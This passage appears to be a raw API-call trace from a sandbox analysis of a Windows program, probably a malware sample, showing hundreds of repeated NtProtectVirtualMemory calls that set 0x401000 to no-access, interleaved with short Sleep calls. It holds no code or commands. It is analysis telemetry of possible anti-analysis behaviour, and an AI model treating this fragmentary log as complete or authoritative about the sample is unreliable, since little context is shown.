(in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.919] Sleep (dwMilliseconds=0x5) [0303.960] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.961] Sleep (dwMilliseconds=0x5) [0304.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.009] Sleep (dwMilliseconds=0x5) [0304.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.055] Sleep (dwMilliseconds=0x5) [0304.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.102] Sleep (dwMilliseconds=0x5) [0304.149] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.149] Sleep (dwMilliseconds=0x5) [0304.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.196] Sleep (dwMilliseconds=0x5) [0304.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.260] Sleep (dwMilliseconds=0x5) [0304.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.308] Sleep (dwMilliseconds=0x5) [0304.351] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.352] Sleep (dwMilliseconds=0x5) [0304.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.400] Sleep (dwMilliseconds=0x5) [0304.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.449] Sleep (dwMilliseconds=0x5) [0304.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.497] Sleep (dwMilliseconds=0x5) [0304.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.540] Sleep (dwMilliseconds=0x5) [0304.586] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.587] Sleep (dwMilliseconds=0x5) [0304.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.635] Sleep (dwMilliseconds=0x5) [0304.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.682] Sleep (dwMilliseconds=0x5) [0304.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.730] Sleep (dwMilliseconds=0x5) [0304.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.839] Sleep (dwMilliseconds=0x5) [0304.887] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.888] Sleep (dwMilliseconds=0x5) [0304.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.930] Sleep (dwMilliseconds=0x5) [0304.976] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.976] Sleep (dwMilliseconds=0x5) [0305.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.023] Sleep (dwMilliseconds=0x5) [0305.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.072] Sleep (dwMilliseconds=0x5) [0305.119] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.120] Sleep (dwMilliseconds=0x5) [0305.170] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.171] Sleep (dwMilliseconds=0x5) [0305.237] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.238] Sleep (dwMilliseconds=0x5) [0305.282] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.283] Sleep (dwMilliseconds=0x5) [0305.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.388] Sleep (dwMilliseconds=0x5) [0305.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.433] Sleep (dwMilliseconds=0x5) [0305.487] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.488] Sleep (dwMilliseconds=0x5) [0305.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.543] Sleep (dwMilliseconds=0x5) [0305.589] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.590] Sleep (dwMilliseconds=0x5) [0305.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.643] Sleep (dwMilliseconds=0x5) [0305.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.689] Sleep (dwMilliseconds=0x5) [0305.741] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.818] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.818] Sleep (dwMilliseconds=0x5) [0305.879] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.880] Sleep (dwMilliseconds=0x5) [0305.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.086] Sleep (dwMilliseconds=0x5) [0306.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.136] Sleep (dwMilliseconds=0x5) [0306.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.180] Sleep (dwMilliseconds=0x5) [0306.241] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.242] Sleep (dwMilliseconds=0x5) [0306.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.291] Sleep (dwMilliseconds=0x5) [0306.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.341] Sleep (dwMilliseconds=0x5) [0306.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.386] Sleep (dwMilliseconds=0x5) [0306.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.434] Sleep (dwMilliseconds=0x5) [0306.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.478] Sleep (dwMilliseconds=0x5) [0306.525] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.526] Sleep (dwMilliseconds=0x5) [0306.573] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.574] Sleep (dwMilliseconds=0x5) [0306.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.622] Sleep (dwMilliseconds=0x5) [0306.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.668] Sleep (dwMilliseconds=0x5) [0306.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.711] Sleep (dwMilliseconds=0x5) [0306.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.870] Sleep (dwMilliseconds=0x5) [0306.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.968] Sleep (dwMilliseconds=0x5) [0307.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.012] Sleep (dwMilliseconds=0x5) [0307.059] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.060] Sleep (dwMilliseconds=0x5) [0307.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.108] Sleep (dwMilliseconds=0x5) [0307.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.155] Sleep (dwMilliseconds=0x5) [0307.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.260] Sleep (dwMilliseconds=0x5) [0307.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.308] Sleep (dwMilliseconds=0x5) [0307.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.358] Sleep (dwMilliseconds=0x5) [0307.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.404] Sleep (dwMilliseconds=0x5) [0307.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.448] Sleep (dwMilliseconds=0x5) [0307.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.496] Sleep (dwMilliseconds=0x5) [0307.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.544] Sleep (dwMilliseconds=0x5) [0307.591] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.592] Sleep (dwMilliseconds=0x5) [0307.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.640] Sleep (dwMilliseconds=0x5) [0307.682] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.683] Sleep (dwMilliseconds=0x5) [0307.731] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.732] Sleep (dwMilliseconds=0x5) [0307.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.817] Sleep (dwMilliseconds=0x5) [0307.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.855] Sleep (dwMilliseconds=0x5) [0307.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.904] Sleep (dwMilliseconds=0x5) [0307.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.952] Sleep (dwMilliseconds=0x5) [0307.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, 